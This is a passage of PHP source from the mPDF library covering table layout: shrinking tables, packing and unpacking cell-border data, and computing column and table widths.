$wordwidth; } elseif (count($words) > 1 && $k == 0 && substr($chunk[0], 0, 1) != ' ') { $acclength += $wordwidth; } else { $acclength = $wordwidth; } $acclongest = max($acclongest, $acclength); if (count($words) == 1 && substr($chunk[0], -1, 1) == ' ') { $acclength = 0; } elseif (count($words) > 1 && ($k != (count($words) - 1) || substr($chunk[0], -1, 1) == ' ')) { $acclength = 0; } // Warn user that maxwidth is insufficient if ($wordwidth > $maxwidth + 0.0001) { if ($wordwidth > $biggestword) { $biggestword = $wordwidth; } $toonarrow = true; } } } // mPDF 6 Accumulated length of biggest word - across multiple chunks if ($acclongest > $maxwidth + 0.0001) { if ($acclongest > $biggestword) { $biggestword = $acclongest; } $toonarrow = true; } // RESET FONT SIZE/STYLE // RESETTING VALUES // Now we must deactivate what we have used if (isset($chunk[2]) and $chunk[2] != '') { $this->ResetStyles(); } if (isset($chunk[4]) and $chunk[4] != '') { $this->SetFont($this->default_font, $this->FontStyle, 0, false); } if (isset($chunk[11]) and $chunk[11] != '') { $this->SetFontSize($this->default_font_size, false); } $this->spanborddet = []; $this->textvar = 0x00; // mPDF 5.7.1 $this->OTLtags = []; $this->lSpacingCSS = ''; $this->wSpacingCSS = ''; $this->fixedlSpacing = false; $this->minwSpacing = 0; } // Return -(wordsize) if word is bigger than maxwidth // ADDED if (($toonarrow) && ($this->table_error_report)) { throw new \Mpdf\MpdfException("Word is too long to fit in table - " . $this->table_error_report_param); } if ($toonarrow) { return -$biggestword; } else { return 1; } } function shrinkTable(&$table, $k) { $table['border_spacing_H'] /= $k; $table['border_spacing_V'] /= $k; $table['padding']['T'] /= $k; $table['padding']['R'] /= $k; $table['padding']['B'] /= $k; $table['padding']['L'] /= $k; $table['margin']['T'] /= $k; $table['margin']['R'] /= $k; $table['margin']['B'] /= $k; $table['margin']['L'] /= $k; $table['border_details']['T']['w'] /= $k; $table['border_details']['R']['w'] /= $k; $table['border_details']['B']['w'] /= $k; $table['border_details']['L']['w'] /= $k; if (isset($table['max_cell_border_width']['T'])) { $table['max_cell_border_width']['T'] /= $k; } if (isset($table['max_cell_border_width']['R'])) { $table['max_cell_border_width']['R'] /= $k; } if (isset($table['max_cell_border_width']['B'])) { $table['max_cell_border_width']['B'] /= $k; } if (isset($table['max_cell_border_width']['L'])) { $table['max_cell_border_width']['L'] /= $k; } if ($this->simpleTables) { $table['simple']['border_details']['T']['w'] /= $k; $table['simple']['border_details']['R']['w'] /= $k; $table['simple']['border_details']['B']['w'] /= $k; $table['simple']['border_details']['L']['w'] /= $k; } $table['miw'] /= $k; $table['maw'] /= $k; for ($j = 0; $j < $table['nc']; $j++) { // columns $table['wc'][$j]['miw'] = isset($table['wc'][$j]['miw']) ? $table['wc'][$j]['miw'] : 0; $table['wc'][$j]['maw'] = isset($table['wc'][$j]['maw']) ? $table['wc'][$j]['maw'] : 0; $table['wc'][$j]['miw'] /= $k; $table['wc'][$j]['maw'] /= $k; if (isset($table['decimal_align'][$j]['maxs0']) && $table['decimal_align'][$j]['maxs0']) { $table['decimal_align'][$j]['maxs0'] /= $k; } if (isset($table['decimal_align'][$j]['maxs1']) && $table['decimal_align'][$j]['maxs1']) { $table['decimal_align'][$j]['maxs1'] /= $k; } if (isset($table['wc'][$j]['absmiw']) && $table['wc'][$j]['absmiw']) { $table['wc'][$j]['absmiw'] /= $k; } for ($i = 0; $i < $table['nr']; $i++) { // rows $c = &$table['cells'][$i][$j]; if (isset($c) && $c) { if (!$this->simpleTables) { if ($this->packTableData) { $cell = $this->_unpackCellBorder($c['borderbin']); $cell['border_details']['T']['w'] /= $k; $cell['border_details']['R']['w'] /= $k; $cell['border_details']['B']['w'] /= $k; $cell['border_details']['L']['w'] /= $k; $cell['border_details']['mbw']['TL'] /= $k; $cell['border_details']['mbw']['TR'] /= $k; $cell['border_details']['mbw']['BL'] /= $k; $cell['border_details']['mbw']['BR'] /= $k; $cell['border_details']['mbw']['LT'] /= $k; $cell['border_details']['mbw']['LB'] /= $k; $cell['border_details']['mbw']['RT'] /= $k; $cell['border_details']['mbw']['RB'] /= $k; $c['borderbin'] = $this->_packCellBorder($cell); } else { $c['border_details']['T']['w'] /= $k; $c['border_details']['R']['w'] /= $k; $c['border_details']['B']['w'] /= $k; $c['border_details']['L']['w'] /= $k; $c['border_details']['mbw']['TL'] /= $k; $c['border_details']['mbw']['TR'] /= $k; $c['border_details']['mbw']['BL'] /= $k; $c['border_details']['mbw']['BR'] /= $k; $c['border_details']['mbw']['LT'] /= $k; $c['border_details']['mbw']['LB'] /= $k; $c['border_details']['mbw']['RT'] /= $k; $c['border_details']['mbw']['RB'] /= $k; } } $c['padding']['T'] /= $k; $c['padding']['R'] /= $k; $c['padding']['B'] /= $k; $c['padding']['L'] /= $k; $c['maxs'] = isset($c['maxs']) ? $c['maxs'] /= $k : null; $c['w'] = isset($c['w']) ? $c['w'] /= $k : null; $c['s'] = isset($c['s']) ? $c['s'] /= $k : 0; $c['h'] = isset($c['h']) ? $c['h'] /= $k : null; $c['miw'] = isset($c['miw']) ? $c['miw'] /= $k : 0; $c['maw'] = isset($c['maw']) ? $c['maw'] /= $k : 0; $c['absmiw'] = isset($c['absmiw']) ? $c['absmiw'] /= $k : null; $c['nestedmaw'] = isset($c['nestedmaw']) ? $c['nestedmaw'] /= $k : null; $c['nestedmiw'] = isset($c['nestedmiw']) ? $c['nestedmiw'] /= $k : null; if (isset($c['textbuffer'])) { foreach ($c['textbuffer'] as $n => $tb) { if (!empty($tb[16])) { !isset($c['textbuffer'][$n][16]['T']) || $c['textbuffer'][$n][16]['T']['w'] /= $k; !isset($c['textbuffer'][$n][16]['B']) || $c['textbuffer'][$n][16]['B']['w'] /= $k; !isset($c['textbuffer'][$n][16]['L']) || $c['textbuffer'][$n][16]['L']['w'] /= $k; !isset($c['textbuffer'][$n][16]['R']) || $c['textbuffer'][$n][16]['R']['w'] /= $k; } } } unset($c); } } // rows } // columns } function read_short(&$fh) { $s = fread($fh, 2); $a = (ord($s[0]) << 8) + ord($s[1]); if ($a & (1 << 15)) { $a = ($a - (1 << 16)); } return $a; } function _packCellBorder($cell) { if (!is_array($cell) || !isset($cell)) { return ''; } if (!$this->packTableData) { return $cell; } // = 186 bytes $bindata = pack("nnda6A10nnda6A10nnda6A10nnda6A10nd9", $cell['border'], $cell['border_details']['R']['s'], $cell['border_details']['R']['w'], $cell['border_details']['R']['c'], $cell['border_details']['R']['style'], $cell['border_details']['R']['dom'], $cell['border_details']['L']['s'], $cell['border_details']['L']['w'], $cell['border_details']['L']['c'], $cell['border_details']['L']['style'], $cell['border_details']['L']['dom'], $cell['border_details']['T']['s'], $cell['border_details']['T']['w'], $cell['border_details']['T']['c'], $cell['border_details']['T']['style'], $cell['border_details']['T']['dom'], $cell['border_details']['B']['s'], $cell['border_details']['B']['w'], $cell['border_details']['B']['c'], $cell['border_details']['B']['style'], $cell['border_details']['B']['dom'], $cell['border_details']['mbw']['BL'], $cell['border_details']['mbw']['BR'], $cell['border_details']['mbw']['RT'], $cell['border_details']['mbw']['RB'], $cell['border_details']['mbw']['TL'], $cell['border_details']['mbw']['TR'], $cell['border_details']['mbw']['LT'], $cell['border_details']['mbw']['LB'], (isset($cell['border_details']['cellposdom']) ? $cell['border_details']['cellposdom'] : 0)); return $bindata; } function _getBorderWidths($bindata) { if (!$bindata) { return [0, 0, 0, 0]; } if (!$this->packTableData) { return [$bindata['border_details']['T']['w'], $bindata['border_details']['R']['w'], $bindata['border_details']['B']['w'], $bindata['border_details']['L']['w']]; } $bd = unpack("nbord/nrs/drw/a6rca/A10rst/nrd/nls/dlw/a6lca/A10lst/nld/nts/dtw/a6tca/A10tst/ntd/nbs/dbw/a6bca/A10bst/nbd/dmbl/dmbr/dmrt/dmrb/dmtl/dmtr/dmlt/dmlb/dcpd", $bindata); $cell['border_details']['R']['w'] = $bd['rw']; $cell['border_details']['L']['w'] = $bd['lw']; $cell['border_details']['T']['w'] = $bd['tw']; $cell['border_details']['B']['w'] = $bd['bw']; return [$bd['tw'], $bd['rw'], $bd['bw'], $bd['lw']]; } function _unpackCellBorder($bindata) { if (!$bindata) { return []; } if (!$this->packTableData) { return $bindata; } $bd = unpack("nbord/nrs/drw/a6rca/A10rst/nrd/nls/dlw/a6lca/A10lst/nld/nts/dtw/a6tca/A10tst/ntd/nbs/dbw/a6bca/A10bst/nbd/dmbl/dmbr/dmrt/dmrb/dmtl/dmtr/dmlt/dmlb/dcpd", $bindata); $cell['border'] = $bd['bord']; $cell['border_details']['R']['s'] = $bd['rs']; $cell['border_details']['R']['w'] = $bd['rw']; $cell['border_details']['R']['c'] = str_pad($bd['rca'], 6, "\x00"); $cell['border_details']['R']['style'] = trim($bd['rst']); $cell['border_details']['R']['dom'] = $bd['rd']; $cell['border_details']['L']['s'] = $bd['ls']; $cell['border_details']['L']['w'] = $bd['lw']; $cell['border_details']['L']['c'] = str_pad($bd['lca'], 6, "\x00"); $cell['border_details']['L']['style'] = trim($bd['lst']); $cell['border_details']['L']['dom'] = $bd['ld']; $cell['border_details']['T']['s'] = $bd['ts']; $cell['border_details']['T']['w'] = $bd['tw']; $cell['border_details']['T']['c'] = str_pad($bd['tca'], 6, "\x00"); $cell['border_details']['T']['style'] = trim($bd['tst']); $cell['border_details']['T']['dom'] = $bd['td']; $cell['border_details']['B']['s'] = $bd['bs']; $cell['border_details']['B']['w'] = $bd['bw']; $cell['border_details']['B']['c'] = str_pad($bd['bca'], 6, "\x00"); $cell['border_details']['B']['style'] = trim($bd['bst']); $cell['border_details']['B']['dom'] = $bd['bd']; $cell['border_details']['mbw']['BL'] = $bd['mbl']; $cell['border_details']['mbw']['BR'] = $bd['mbr']; $cell['border_details']['mbw']['RT'] = $bd['mrt']; $cell['border_details']['mbw']['RB'] = $bd['mrb']; $cell['border_details']['mbw']['TL'] = $bd['mtl']; $cell['border_details']['mbw']['TR'] = $bd['mtr']; $cell['border_details']['mbw']['LT'] = $bd['mlt']; $cell['border_details']['mbw']['LB'] = $bd['mlb']; $cell['border_details']['cellposdom'] = $bd['cpd']; return($cell); } ////////////////////////TABLE CODE (from PDFTable)///////////////////////////////////// ////////////////////////TABLE CODE (from PDFTable)///////////////////////////////////// ////////////////////////TABLE CODE (from PDFTable)///////////////////////////////////// // table Array of (w, h, bc, nr, wc, hr, cells) // w Width of table // h Height of table // nc Number column // nr Number row // hr List of height of each row // wc List of width of each column // cells List of cells of each rows, cells[i][j] is a cell in the table function _tableColumnWidth(&$table, $firstpass = false) { $cs = &$table['cells']; $nc = $table['nc']; $nr = $table['nr']; $listspan = []; if ($table['borders_separate']) { $tblbw = $table['border_details']['L']['w'] + $table['border_details']['R']['w'] + $table['margin']['L'] + $table['margin']['R'] + $table['padding']['L'] + $table['padding']['R'] + $table['border_spacing_H']; } else { $tblbw = $table['max_cell_border_width']['L'] / 2 + $table['max_cell_border_width']['R'] / 2 + $table['margin']['L'] + $table['margin']['R']; } // ADDED table['l'][colno] // = total length of text approx (using $c['s']) in that column - used to approximately distribute col widths in _tableWidth // for ($j = 0; $j < $nc; $j++) { // columns $wc = &$table['wc'][$j]; for ($i = 0; $i < $nr; $i++) { // rows if (isset($cs[$i][$j]) && $cs[$i][$j]) { $c = &$cs[$i][$j]; if ($this->simpleTables) { if ($table['borders_separate']) { // NB twice border width $extrcw = $table['simple']['border_details']['L']['w'] + $table['simple']['border_details']['R']['w'] + $c['padding']['L'] + $c['padding']['R'] + $table['border_spacing_H']; } else { $extrcw = $table['simple']['border_details']['L']['w'] / 2 + $table['simple']['border_details']['R']['w'] / 2 + $c['padding']['L'] + $c['padding']['R']; } } else { if ($this->packTableData) { list($bt, $br, $bb, $bl) = $this->_getBorderWidths($c['borderbin']); } else { $br = $c['border_details']['R']['w']; $bl = $c['border_details']['L']['w']; } if ($table['borders_separate']) { // NB twice border width $extrcw = $bl + $br + $c['padding']['L'] + $c['padding']['R'] + $table['border_spacing_H']; } else { $extrcw = $bl / 2 + $br / 2 + $c['padding']['L'] + $c['padding']['R']; } } // $mw = $this->GetStringWidth('W') + $extrcw ; $mw = $extrcw; // mPDF 6 if (substr($c['a'], 0, 1) == 'D') { $mw = $table['decimal_align'][$j]['maxs0'] + $table['decimal_align'][$j]['maxs1'] + $extrcw; } $c['absmiw'] = $mw; if (isset($c['R']) && $c['R']) { $c['maw'] = $c['miw'] = $this->FontSize + $extrcw; if (isset($c['w'])) { // If cell width is specified if ($c['miw'] < $c['w']) { $c['miw'] = $c['w']; } } if (!isset($c['colspan'])) { if ($wc['miw'] < $c['miw']) { $wc['miw'] = $c['miw']; } if ($wc['maw'] < $c['maw']) { $wc['maw'] = $c['maw']; } if ($firstpass) { if (isset($table['l'][$j])) { $table['l'][$j] += $c['miw']; } else { $table['l'][$j] = $c['miw']; } } } if ($c['miw'] > $wc['miw']) { $wc['miw'] = $c['miw']; } if ($wc['miw'] > $wc['maw']) { $wc['maw'] = $wc['miw']; } continue; } if ($firstpass) { if (isset($c['s'])) { $c['s'] += $extrcw; } if (isset($c['maxs'])) { $c['maxs'] += $extrcw; } if (isset($c['nestedmiw'])) { $c['nestedmiw'] += $extrcw; } if (isset($c['nestedmaw'])) { $c['nestedmaw'] += $extrcw; } } // If minimum width has already been set by a nested table or inline object (image/form), use it if (isset($c['nestedmiw']) && (!isset($this->table[1][1]['overflow']) || $this->table[1][1]['overflow'] != 'visible')) { $miw = $c['nestedmiw']; } else { $miw = $mw; } if (isset($c['maxs']) && $c['maxs'] != '') { $c['s'] = $c['maxs']; } // If maximum width has already been set by a nested table, use it if (isset($c['nestedmaw'])) { $c['maw'] = $c['nestedmaw']; } else { $c['maw'] = $c['s']; } if (isset($table['overflow']) && $table['overflow'] == 'visible' && $table['level'] == 1) { if (($c['maw'] + $tblbw) > $this->blk[$this->blklvl]['inner_width']) { $c['maw'] = $this->blk[$this->blklvl]['inner_width'] - $tblbw; } } if (isset($c['nowrap']) && $c['nowrap']) { $miw = $c['maw']; } if (isset($c['wpercent']) && $firstpass) { if (isset($c['colspan'])) { // Not perfect - but % set on colspan is shared equally on cols. for ($k = 0; $k < $c['colspan']; $k++) { $table['wc'][($j + $k)]['wpercent'] = $c['wpercent'] / $c['colspan']; } } else { if (isset($table['w']) && $table['w']) { $c['w'] = $c['wpercent'] / 100 * ($table['w'] - $tblbw ); } $wc['wpercent'] = $c['wpercent']; } } if (isset($table['overflow']) && $table['overflow'] == 'visible' && $table['level'] == 1) { if (isset($c['w']) && ($c['w'] + $tblbw) > $this->blk[$this->blklvl]['inner_width']) { $c['w'] = $this->blk[$this->blklvl]['inner_width'] - $tblbw; } } if (isset($c['w'])) { // If cell width is specified if ($miw < $c['w']) { $c['miw'] = $c['w']; } // Cell min width = that specified if ($miw > $c['w']) { $c['miw'] = $c['w'] = $miw; } // If width specified is less than minimum allowed (W) increase it // mPDF 5.7.4 Do not set column width in colspan // cf. http://www.mpdf1.com/forum/discussion/2221/colspan-bug if (!isset($c['colspan'])) { if (!isset($wc['w'])) { $wc['w'] = 1; } // If the Col width is not specified = set it to 1 } // mPDF 5.7.3 cf. http://www.mpdf1.com/forum/discussion/1648/nested-table-bug- $c['maw'] = $c['w']; } else { $c['miw'] = $miw; } // If cell width not specified -> set Cell min width it to minimum allowed (W) if (isset($c['miw']) && $c['maw'] < $c['miw']) { $c['maw'] = $c['miw']; } // If Cell max width < Minwidth - increase it to = if (!isset($c['colspan'])) { if (isset($c['miw']) && $wc['miw'] < $c['miw']) { $wc['miw'] = $c['miw']; } // Update Col Minimum and maximum widths if ($wc['maw'] < $c['maw']) { $wc['maw'] = $c['maw']; } if ((isset($wc['absmiw']) && $wc['absmiw'] < $c['absmiw']) || !isset($wc['absmiw'])) { $wc['absmiw'] = $c['absmiw']; } // Update Col Minimum and maximum widths if (isset($table['l'][$j])) { $table['l'][$j] += $c['s']; } else { $table['l'][$j] = $c['s']; } } else { $listspan[] = [$i, $j]; } // Check if minimum width of the whole column is big enough for largest word to fit // mPDF 6 if (isset($c['textbuffer'])) { if (isset($table['overflow']) && $table['overflow'] == 'wrap') { $letter = true; } // check for maximum width of letters else { $letter = false; } $minwidth = $this->TableCheckMinWidth($wc['miw'] - $extrcw, 0, $c['textbuffer'], $letter); } else { $minwidth = 0; } if ($minwidth < 0) { // increase minimum width if (!isset($c['colspan'])) { $wc['miw'] = max((isset($wc['miw']) ? $wc['miw'] : 0), ((-$minwidth) + $extrcw)); } else { $c['miw'] = max((isset($c['miw']) ? $c['miw'] : 0), ((-$minwidth) + $extrcw)); } } if (!isset($c['colspan'])) { if ($wc['miw'] > $wc['maw']) { $wc['maw'] = $wc['miw']; } // update maximum width, if needed } } unset($c); }//rows }//columns // COLUMN SPANS $wc = &$table['wc']; foreach ($listspan as $span) { list($i, $j) = $span; $c = &$cs[$i][$j]; $lc = $j + $c['colspan']; if ($lc > $nc) { $lc = $nc; } $wis = $wisa = 0; $was = $wasa = 0; $list = []; for ($k = $j; $k < $lc; $k++) { if (isset($table['l'][$k])) { if ($c['R']) { $table['l'][$k] += $c['miw'] / $c['colspan']; } else { $table['l'][$k] += $c['s'] / $c['colspan']; } } else { if ($c['R']) { $table['l'][$k] = $c['miw'] / $c['colspan']; } else { $table['l'][$k] = $c['s'] / $c['colspan']; } } $wis += $wc[$k]['miw']; // $wis is the sum of the column miw in the colspan $was += $wc[$k]['maw']; // $was is the sum of the column maw in the colspan if (!isset($c['w'])) { $list[] = $k; $wisa += $wc[$k]['miw']; // $wisa is the sum of the column miw in cells with no width specified in the colspan $wasa += $wc[$k]['maw']; // $wasa is the sum of the column maw in cells with no width specified in the colspan } } if ($c['miw'] > $wis) { if (!$wis) { for ($k = $j; $k < $lc; $k++) { $wc[$k]['miw'] = $c['miw'] / $c['colspan']; } } elseif (!count($list) && $wis != 0) { $wi = $c['miw'] - $wis; for ($k = $j; $k < $lc; $k++) { $wc[$k]['miw'] += ($wc[$k]['miw'] / $wis) * $wi; } } else { $wi = $c['miw'] - $wis; // mPDF 5.7.2 Extra min width distributed proportionately to all cells in colspan without a specified width // cf. http://www.mpdf1.com/forum/discussion/1607#Item_4 foreach ($list as $k) { if (!isset($wc[$k]['w']) || !$wc[$k]['w']) { $wc[$k]['miw'] += ($wc[$k]['miw'] / $wisa) * $wi; } } // mPDF 5.7.2 } } if ($c['maw'] > $was) { if (!$wis) { for ($k = $j; $k < $lc; $k++) { $wc[$k]['maw'] = $c['maw'] / $c['colspan']; } } elseif (!count($list) && $was != 0) { $wi = $c['maw'] - $was; for ($k = $j; $k < $lc; $k++) { $wc[$k]['maw'] += ($wc[$k]['maw'] / $was) * $wi; } } else { $wi = $c['maw'] - $was; // mPDF 5.7.4 Extra max width distributed evenly to all cells in colspan without a specified width // cf. http://www.mpdf1.com/forum/discussion/2221/colspan-bug foreach ($list as $k) { $wc[$k]['maw'] += $wi / count($list); } } } unset($c); } $checkminwidth = 0; $checkmaxwidth = 0; $totallength = 0; for ($i = 0; $i < $nc; $i++) { $checkminwidth += $table['wc'][$i]['miw']; $checkmaxwidth += $table['wc'][$i]['maw']; $totallength += isset($table['l']) ? $table['l'][$i] : 0; } if (!isset($table['w']) && $firstpass) { $sumpc = 0; $notset = 0; for ($i = 0; $i < $nc; $i++) { if (isset($table['wc'][$i]['wpercent']) && $table['wc'][$i]['wpercent']) { $sumpc += $table['wc'][$i]['wpercent']; } else { $notset++; } } // If sum of widths as % >= 100% and not all columns are set // Set a nominal width of 1% for unset columns if ($sumpc >= 100 && $notset) { for ($i = 0; $i < $nc; $i++) { if ((!isset($table['wc'][$i]['wpercent']) || !$table['wc'][$i]['wpercent']) && (!isset($table['wc'][$i]['w']) || !$table['wc'][$i]['w'])) { $table['wc'][$i]['wpercent'] = 1; } } } if ($sumpc) { // if any percents are set $sumnonpc = (100 - $sumpc); $sumpc = max($sumpc, 100); $miwleft = 0; $miwleftcount = 0; $miwsurplusnonpc = 0; $maxcalcmiw = 0; $mawleft = 0; $mawleftcount = 0; $mawsurplusnonpc = 0; $maxcalcmaw = 0; $mawnon = 0; $miwnon = 0; for ($i = 0; $i < $nc; $i++) { if (isset($table['wc'][$i]['wpercent'])) { $maxcalcmiw = max($maxcalcmiw, ($table['wc'][$i]['miw'] * $sumpc / $table['wc'][$i]['wpercent'])); $maxcalcmaw = max($maxcalcmaw, ($table['wc'][$i]['maw'] * $sumpc / $table['wc'][$i]['wpercent'])); } else { $miwleft += $table['wc'][$i]['miw']; $mawleft += $table['wc'][$i]['maw']; if (!isset($table['wc'][$i]['w'])) { $miwleftcount++; $mawleftcount++; } } } if ($miwleft && $sumnonpc > 0) { $miwnon = $miwleft * 100 / $sumnonpc; } if ($mawleft && $sumnonpc > 0) { $mawnon = $mawleft * 100 / $sumnonpc; } if (($miwnon > $checkminwidth || $maxcalcmiw > $checkminwidth) && $this->keep_table_proportions) { if ($miwnon > $maxcalcmiw) { $miwsurplusnonpc = round((($miwnon * $sumnonpc / 100) - $miwleft), 3); $checkminwidth = $miwnon; } else { $checkminwidth = $maxcalcmiw; } for ($i = 0; $i < $nc; $i++) { if (isset($table['wc'][$i]['wpercent'])) { $newmiw = $checkminwidth * $table['wc'][$i]['wpercent'] / 100; if ($table['wc'][$i]['miw'] < $newmiw) { $table['wc'][$i]['miw'] = $newmiw; } $table['wc'][$i]['w'] = 1; } elseif ($miwsurplusnonpc && !$table['wc'][$i]['w']) { $table['wc'][$i]['miw'] += $miwsurplusnonpc / $miwleftcount; } } } if (($mawnon > $checkmaxwidth || $maxcalcmaw > $checkmaxwidth)) { if ($mawnon > $maxcalcmaw) { $mawsurplusnonpc = round((($mawnon * $sumnonpc / 100) - $mawleft), 3); $checkmaxwidth = $mawnon; } else { $checkmaxwidth = $maxcalcmaw; } for ($i = 0; $i < $nc; $i++) { if (isset($table['wc'][$i]['wpercent'])) { $newmaw = $checkmaxwidth * $table['wc'][$i]['wpercent'] / 100; if ($table['wc'][$i]['maw'] < $newmaw) { $table['wc'][$i]['maw'] = $newmaw; } $table['wc'][$i]['w'] = 1; } elseif ($mawsurplusnonpc && !$table['wc'][$i]['w']) { $table['wc'][$i]['maw'] += $mawsurplusnonpc / $mawleftcount; } if ($table['wc'][$i]['maw'] < $table['wc'][$i]['miw']) { $table['wc'][$i]['maw'] = $table['wc'][$i]['miw']; } } } if ($checkminwidth > $checkmaxwidth) { $checkmaxwidth = $checkminwidth; } } } if (isset($table['wpercent']) && $table['wpercent']) { $checkminwidth *= (100 / $table['wpercent']); $checkmaxwidth *= (100 / $table['wpercent']); } $checkminwidth += $tblbw; $checkmaxwidth += $tblbw; // Table['miw'] set by percent in first pass may be larger than sum of column miw if ((isset($table['miw']) && $checkminwidth > $table['miw']) || !isset($table['miw'])) { $table['miw'] = $checkminwidth; } if ((isset($table['maw']) && $checkmaxwidth > $table['maw']) || !isset($table['maw'])) { $table['maw'] = $checkmaxwidth; } $table['tl'] = $totallength; // mPDF 6 if ($this->table_rotate) { $mxw = $this->tbrot_maxw; } else { $mxw = $this->blk[$this->blklvl]['inner_width']; } if (!isset($table['overflow'])) { $table['overflow'] = null; } if ($table['overflow'] == 'visible') { return [0, 0]; } elseif ($table['overflow'] == 'hidden' && !$this->table_rotate && !$this->ColActive && $checkminwidth > $mxw) { $table['w'] = $table['miw']; return [0, 0]; } // elseif ($table['overflow']=='wrap') { return array(0,0); } // mPDF 6 if (isset($table['w']) && $table['w']) { if ($table['w'] >= $checkminwidth && $table['w'] <= $mxw) { $table['maw'] = $mxw = $table['w']; } elseif ($table['w'] >= $checkminwidth && $table['w'] > $mxw && $this->keep_table_proportions) { $checkminwidth = $table['w']; } elseif ($table['w'] < $checkminwidth && $checkminwidth < $mxw && $this->keep_table_proportions) { $table['maw'] = $table['w'] = $checkminwidth; } else { unset($table['w']); } } $ratio = $checkminwidth / $mxw; if ($checkminwidth > $mxw) { return [($ratio + 0.001), $checkminwidth]; // 0.001 to allow for rounded numbers when resizing } unset($cs); return [0, 0]; } function _tableWidth(&$table) { $widthcols = &$table['wc']; $numcols = $table['nc']; $tablewidth = 0; if ($table['borders_separate']) { $tblbw = $table['border_details']['L']['w'] + $table['border_details']['R']['w'] + $table['margin']['L'] + $table['margin']['R'] + $table['padding']['L'] + $table['padding']['R'] + $table['border_spacing_H']; } else { $tblbw = $table['max_cell_border_width']['L'] / 2 + $table['max_cell_border_width']['R'] / 2 + $table['margin']['L'] + $table['margin']['R']; } if ($table['level'] > 1 && isset($table['w'])) { if (isset($table['wpercent']) && $table['wpercent']) { $table['w'] = $temppgwidth = (($table['w'] - $tblbw) * $table['wpercent'] / 100) + $tblbw; } else { $temppgwidth = $table['w']; } } elseif ($this->table_rotate) { $temppgwidth = $this->tbrot_maxw; // If it is less than 1/20th of the remaining page height to finish the DIV (i.e. DIV padding + table bottom margin) then allow for this $enddiv = $this->blk[$this->blklvl]['padding_bottom'] + $this->blk[$this->blklvl]['border_bottom']['w']; if ($enddiv / $temppgwidth < 0.05) { $temppgwidth -= $enddiv; } } else { if (isset($table['w']) && $table['w'] < $this->blk[$this->blklvl]['inner_width']) { $notfullwidth = 1; $temppgwidth = $table['w']; } elseif ($table['overflow'] == 'visible' && $table['level'] == 1) { $temppgwidth = null; } elseif ($table['overflow'] == 'hidden' && !$this->ColActive && isset($table['w']) && $table['w'] > $this->blk[$this->blklvl]['inner_width'] && $table['w'] == $table) { // $temppgwidth = $this->blk[$this->blklvl]['inner_width']; $temppgwidth = $table['w']; } else { $temppgwidth = $this->blk[$this->blklvl]['inner_width']; } } $totaltextlength = 0; // Added - to sum $table['l'][colno] $totalatextlength = 0; // Added - to sum $table['l'][colno] for those columns where width not set $percentages_set = 0; for ($i = 0; $i < $numcols; $i++) { if (isset($widthcols[$i]['wpercent'])) { $tablewidth += $widthcols[$i]['maw']; $percentages_set = 1; } elseif (isset($widthcols[$i]['w'])) { $tablewidth += $widthcols[$i]['miw']; } else { $tablewidth += $widthcols[$i]['maw']; } $totaltextlength += isset($table['l']) ? $table['l'][$i] : 0; } if (!$totaltextlength) { $totaltextlength = 1; } $tablewidth += $tblbw; // Outer half of table borders if ($tablewidth > $temppgwidth) { $table['w'] = $temppgwidth; } elseif ($tablewidth < $temppgwidth && !isset($table['w']) && $percentages_set) { // if any widths set as percentages and max width fits < page width $table['w'] = $table['maw']; } // if table width is set and is > allowed width if (isset($table['w']) && $table['w'] > $temppgwidth) { $table['w'] = $temppgwidth; } // IF the table width is now set - Need to distribute columns widths // mPDF 5.7.3 // If the table width is already set to the maximum width (e.g. nested table), then use maximum column widths exactly if (isset($table['w']) && ($table['w'] == $tablewidth) && !$percentages_set) { // This sets the columns all to maximum width for ($i = 0; $i < $numcols; $i++) { $widthcols[$i] = $widthcols[$i]['maw']; } } elseif (isset($table['w'])) { // elseif the table width is set distribute width using algorithm $wis = $wisa = 0; $list = []; $notsetlist = []; for ($i = 0; $i < $numcols; $i++) { $wis += $widthcols[$i]['miw']; if (!isset($widthcols[$i]['w']) || ($widthcols[$i]['w'] && $table['w'] > $temppgwidth && !$this->keep_table_proportions && !$notfullwidth )) { $list[] = $i; $wisa += $widthcols[$i]['miw']; $totalatextlength += $table['l'][$i]; } } if (!$totalatextlength) { $totalatextlength = 1; } // Allocate spare (more than col's minimum width) across the cols according to their approx total text length // Do it by setting minimum width here if ($table['w'] > $wis + $tblbw) { // First set any cell widths set as percentages if ($table['w'] < $temppgwidth || $this->keep_table_proportions) { for ($k = 0; $k < $numcols; $k++) { if (isset($widthcols[$k]['wpercent'])) { $curr = $widthcols[$k]['miw']; $widthcols[$k]['miw'] = ($table['w'] - $tblbw) * $widthcols[$k]['wpercent'] / 100; $wis += $widthcols[$k]['miw'] - $curr; $wisa += $widthcols[$k]['miw'] - $curr; } } } // Now allocate surplus up to maximum width of each column $surplus = 0; $ttl = 0; // number of surplus columns if (!count($list)) { $wi = ($table['w'] - ($wis + $tblbw)); // i.e. extra space to distribute for ($k = 0; $k < $numcols; $k++) { $spareratio = ($table['l'][$k] / $totaltextlength); // gives ratio to divide up free space // Don't allocate more than Maximum required width - save rest in surplus if ($widthcols[$k]['miw'] + ($wi * $spareratio) >= $widthcols[$k]['maw']) { // mPDF 5.7.3 $surplus += ($wi * $spareratio) - ($widthcols[$k]['maw'] - $widthcols[$k]['miw']); $widthcols[$k]['miw'] = $widthcols[$k]['maw']; } else { $notsetlist[] = $k; $ttl += $table['l'][$k]; $widthcols[$k]['miw'] += ($wi * $spareratio); } } } else { $wi = ($table['w'] - ($wis + $tblbw)); // i.e. extra space to distribute foreach ($list as $k) { $spareratio = ($table['l'][$k] / $totalatextlength); // gives ratio to divide up free space // Don't allocate more than Maximum required width - save rest in surplus if ($widthcols[$k]['miw'] + ($wi * $spareratio) >= $widthcols[$k]['maw']) { // mPDF 5.7.3 $surplus += ($wi * $spareratio) - ($widthcols[$k]['maw'] - $widthcols[$k]['miw']); $widthcols[$k]['miw'] = $widthcols[$k]['maw']; } else { $notsetlist[] = $k; $ttl += $table['l'][$k]; $widthcols[$k]['miw'] += ($wi * $spareratio); } } } // If surplus still left over apportion it across columns if ($surplus) { if (count($notsetlist) && count($notsetlist) < $numcols) { // if some are set only add to remaining - otherwise add to all of them foreach ($notsetlist as $i) { if ($ttl) { $widthcols[$i]['miw'] += $surplus * $table['l'][$i] / $ttl; } } } elseif (count($list) && count($list) < $numcols) { // If some widths are defined, and others have been added up to their maxmum foreach ($list as $i) { $widthcols[$i]['miw'] += $surplus / count($list); } } elseif ($numcols) { // If all columns $ttl = array_sum($table['l']); if ($ttl) { for ($i = 0; $i < $numcols; $i++) { $widthcols[$i]['miw'] += $surplus * $table['l'][$i] / $ttl; } } } } } // This sets the columns all to minimum width (which has been increased above if appropriate) for ($i = 0; $i < $numcols; $i++) 